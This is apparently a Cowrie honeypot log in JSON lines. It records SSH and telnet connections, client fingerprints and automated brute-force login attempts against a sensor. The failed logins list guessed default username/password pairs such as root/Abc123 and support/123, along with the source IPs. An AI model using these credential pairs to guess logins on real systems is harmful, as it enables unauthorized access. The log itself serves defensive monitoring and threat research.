{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:08.503701Z","src_ip":"91.92.42.227","session":"6fc8468fb68d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:08.507065Z","src_ip":"91.92.42.227","session":"6fc8468fb68d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:10.091722Z","src_ip":"91.92.42.227","session":"6fc8468fb68d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.17829203605652,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:11.071943Z","src_ip":"128.199.8.54","session":"583fa8f81dd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:11.703945Z","src_ip":"91.92.42.227","session":"6fc8468fb68d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54620,"dst_ip":"10.17.0.5","dst_port":22,"session":"03125b50bf93","protocol":"ssh","message":"New connection: 91.92.42.227:54620 (10.17.0.5:22) [session: 03125b50bf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:14.705532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:15.109030Z","src_ip":"91.92.42.227","session":"03125b50bf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:15.112012Z","src_ip":"91.92.42.227","session":"03125b50bf93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo","message":"login attempt [odoo14/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:17.900450Z","src_ip":"91.92.42.227","session":"03125b50bf93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:19.588340Z","src_ip":"91.92.42.227","session":"03125b50bf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54724,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e21b008d759","protocol":"ssh","message":"New connection: 91.92.42.227:54724 (10.17.0.5:22) [session: 4e21b008d759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:21.031286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:21.966117Z","src_ip":"91.92.42.227","session":"4e21b008d759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:21.969363Z","src_ip":"91.92.42.227","session":"4e21b008d759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:25.582501Z","src_ip":"91.92.42.227","session":"4e21b008d759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59722,"dst_ip":"10.17.0.5","dst_port":22,"session":"99be806da535","protocol":"ssh","message":"New connection: 91.92.42.227:59722 (10.17.0.5:22) [session: 99be806da535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:27.834419Z"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:27.873062Z","src_ip":"91.92.42.227","session":"4e21b008d759","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:28.707009Z","src_ip":"91.92.42.227","session":"99be806da535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:28.710162Z","src_ip":"91.92.42.227","session":"99be806da535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.09838914871216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:32.425081Z","src_ip":"128.199.8.54","session":"e8cc196e3d8c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:33.354357Z","src_ip":"91.92.42.227","session":"99be806da535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:35.316863Z","src_ip":"91.92.42.227","session":"99be806da535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35592,"dst_ip":"10.17.0.5","dst_port":22,"session":"b66621e47f1a","protocol":"ssh","message":"New connection: 91.92.42.227:35592 (10.17.0.5:22) [session: b66621e47f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:35.611757Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60200,"dst_ip":"10.17.0.5","dst_port":22,"session":"00bf1c9001cb","protocol":"ssh","message":"New connection: 27.71.230.31:60200 (10.17.0.5:22) [session: 00bf1c9001cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:35.880107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:35.891167Z","src_ip":"27.71.230.31","session":"00bf1c9001cb","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:36.172591Z","src_ip":"91.92.42.227","session":"b66621e47f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:36.175329Z","src_ip":"91.92.42.227","session":"b66621e47f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:36.188299Z","src_ip":"27.71.230.31","session":"00bf1c9001cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:38.286006Z","src_ip":"91.92.42.227","session":"b66621e47f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40626,"dst_ip":"159.203.135.109","dst_port":22,"session":"67108a67d1da","protocol":"ssh","message":"New connection: 80.94.92.184:40626 (159.203.135.109:22) [session: 67108a67d1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:39.372740Z"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:39.582641Z","src_ip":"91.92.42.227","session":"b66621e47f1a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:39.683381Z","src_ip":"80.94.92.184","session":"67108a67d1da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:39.687253Z","src_ip":"80.94.92.184","session":"67108a67d1da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123","message":"login attempt [root/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:39.772009Z","src_ip":"27.71.230.31","session":"00bf1c9001cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:41.020624Z","src_ip":"80.94.92.184","session":"67108a67d1da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:41.252075Z","src_ip":"27.71.230.31","session":"00bf1c9001cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:42.352993Z","src_ip":"80.94.92.184","session":"67108a67d1da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e1382963f4a","protocol":"ssh","message":"New connection: 91.92.42.227:35668 (10.17.0.5:22) [session: 5e1382963f4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:42.766180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:43.099609Z","src_ip":"91.92.42.227","session":"5e1382963f4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:43.102188Z","src_ip":"91.92.42.227","session":"5e1382963f4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"123","message":"login attempt [support/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:45.096607Z","src_ip":"91.92.42.227","session":"5e1382963f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:46.963043Z","src_ip":"91.92.42.227","session":"5e1382963f4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.079973220825195,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:48.164328Z","src_ip":"172.81.62.90","session":"a28c94dbb937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":47680,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfb44cf1f794","protocol":"telnet","message":"New connection: 102.37.220.188:47680 (159.203.135.109:23) [session: bfb44cf1f794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:49.000350Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54710,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5771920d5d4","protocol":"ssh","message":"New connection: 91.92.42.227:54710 (10.17.0.5:22) [session: a5771920d5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:49.793241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:36:50.225779Z","src_ip":"91.92.42.227","session":"a5771920d5d4","protocol":"ssh"}
